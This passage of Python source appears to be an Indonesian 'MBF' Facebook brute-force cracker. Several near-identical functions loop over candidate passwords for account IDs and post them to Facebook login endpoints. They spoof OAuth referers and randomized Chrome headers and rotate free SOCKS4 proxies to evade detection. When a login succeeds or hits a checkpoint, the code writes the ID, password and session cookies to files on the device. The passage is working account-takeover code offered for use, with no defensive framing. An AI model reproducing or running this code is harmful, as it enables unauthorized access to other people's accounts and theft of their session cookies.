- "next":f"https://{url}/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified",
- "flow":"login_no_pin",
- "pass":pw,
- }
- koki = (";").join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- head = (
- {
- 'Host': url,
- 'cache-control': 'max-age=0',
- 'dpr': f'{str(rr(1,5))}',
- 'viewport-width': f'{str(rr(400,999))}',
- 'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
- 'sec-ch-ua-mobile': '?1',
- 'sec-ch-ua-platform': '"Android"',
- 'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
- 'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
- 'sec-ch-prefers-color-scheme': 'light',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://'+url,
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'x-requested-with': 'com.mi.globalbrowser.mini',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'empty',
- 'referer': f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
- 'accept-encoding': 'gzip, deflate, br',
- 'accept-language': 'id-ID,id;q=0.9'
- }
- )
- po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, cookies={'cookie': koki}, allow_redirects=False,proxies=proxs)
- if "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ MBASIC VALIDATE ]----------#
- def cracking02(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["ð","ð","ðĪŠ"])
- prog.update(des,description=f"\r {emot} MBF 02 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- link = ses.get(f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- date = {
- "lsd":
- re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "jazoest":
- re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
- "uid":idf,
- "next":f"https://{url}/v8.0/dialog/oauth?client_id=607187076044599&display=popup&redirect_uri=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&response_type=code&scope=email&state=90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266&ret=login&fbapp_pres=0&logger_id=6321ea45-1edf-459d-b7ba-f3006d4e5264&tp=unspecified",
- "flow":"login_no_pin",
- "pass":pw,
- }
- koki = (";").join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- head = (
- {
- 'Host': url,
- 'cache-control': 'max-age=0',
- 'dpr': f'{str(rr(1,5))}',
- 'viewport-width': f'{str(rr(400,999))}',
- 'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
- 'sec-ch-ua-mobile': '?1',
- 'sec-ch-ua-platform': '"Android"',
- 'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
- 'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
- 'sec-ch-prefers-color-scheme': 'light',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://'+url,
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'x-requested-with': 'com.mi.globalbrowser.mini',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'empty',
- 'referer': f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
- 'accept-encoding': 'gzip, deflate, br',
- 'accept-language': 'id-ID,id;q=0.9'
- }
- )
- po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, cookies={'cookie': koki}, allow_redirects=False,proxies=proxs)
- if "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ MOBILE ASYINC ]----------#
- def cracking03(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["ð","ð","ðĪŠ"])
- prog.update(des,description=f"\r {emot} MBF 03 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
- link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
- 'had_cp_prefilled': 'false',
- 'had_password_prefilled': 'false',
- 'is_smart_lock': 'true',
- 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "__dyn": "",
- "__csr": "",
- "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
- "__a": "",
- "__user": "0",
- "_fb_noscript": "true"}
- head = {"Host": url,
- "content-length": f"{len(str(date))}",
- "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
- "sec-ch-ua-mobile": "?1",
- "user-agent": ua,
- "viewport-width": f"str(rr(400,989)",
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
- "x-asbd-id": "129477",
- "x-requested-with": "com.android.chrome",
- "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
- "sec-ch-prefers-color-scheme": "light",
- "sec-ch-ua-platform": '"Android"',
- "accept": "*/*",
- "origin": "https://"+url,
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": ref,
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
- links = rc([f"https://{url}/login/device-based/login/async/?api_key=2099441543493930&auth_token=ed9cb45a485f81810505130bc83f37bb&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=2099441543493930&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100"])
- po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
- if "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ M ALPHA ASYINC ]----------#
- def cracking04(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["ð","ð","ðĪŠ"])
- prog.update(des,description=f"\r {emot} MBF 04 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
- link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
- 'had_cp_prefilled': 'false',
- 'had_password_prefilled': 'false',
- 'is_smart_lock': 'true',
- 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "__dyn": "",
- "__csr": "",
- "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
- "__a": "",
- "__user": "0",
- "_fb_noscript": "true"}
- head = {"Host": url,
- "content-length": f"{len(str(date))}",
- "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
- "sec-ch-ua-mobile": "?1",
- "user-agent": ua,
- "viewport-width": f"str(rr(400,989)",
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
- "x-asbd-id": "129477",
- "x-requested-with": "com.android.chrome",
- "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
- "sec-ch-prefers-color-scheme": "light",
- "sec-ch-ua-platform": '"Android"',
- "accept": "*/*",
- "origin": "https://"+url,
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": ref,
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
- links = rc([f"https://{url}/login/device-based/login/async/?api_key=344190606773871&auth_token=3b0acfed877d6298f310b63b1bd7179d&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&refsrc=deprecated&app_id=344190606773871&cancel=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&lwv=100"])
- po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
- if "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
- prints(tree)
